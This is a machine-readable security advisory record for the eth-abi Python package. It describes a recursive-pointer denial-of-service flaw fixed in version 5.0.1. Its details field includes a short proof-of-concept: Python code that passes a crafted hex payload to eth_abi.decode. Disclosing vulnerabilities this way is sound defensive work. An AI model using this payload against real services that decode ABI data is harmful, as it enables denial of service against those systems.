{"id":"GHSA-3qwc-47jf-5rf7","summary":"eth-abi is vulnerable to recursive DoS","details":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","modified":"2026-09-01T21:30:06.284100739Z","published":"2024-03-05T14:39:13Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2024-03-05T14:39:13Z","nvd_published_at":null,"cwe_ids":["CWE-1285"]},"references":[{"type":"WEB","url":"https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"},{"type":"WEB","url":"https://github.com/ApeWorX/eth-abi/pull/226"},{"type":"WEB","url":"https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"},{"type":"PACKAGE","url":"https://github.com/ethereum/eth-abi"}],"affected":[{"package":{"name":"eth-abi","ecosystem":"PyPI","purl":"pkg:pypi/eth-abi"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.1"}]}],"versions":["0.5.0","1.0.0","1.0.0b0","1.0.0b1","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.3.0","2.0.0","2.0.0a1","2.0.0b0","2.0.0b1","2.0.0b2","2.0.0b3","2.0.0b4","2.0.0b5","2.0.0b6","2.0.0b7","2.0.0b8","2.0.0b9","2.1.0","2.1.1","2.2.0","3.0.0","3.0.1","4.0.0","4.0.0b1","4.0.0b2","4.0.0b3","4.1.0","4.2.0","4.2.1","5.0.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-3qwc-47jf-5rf7/GHSA-3qwc-47jf-5rf7.json"}}],"schema_version":"1.9.0"}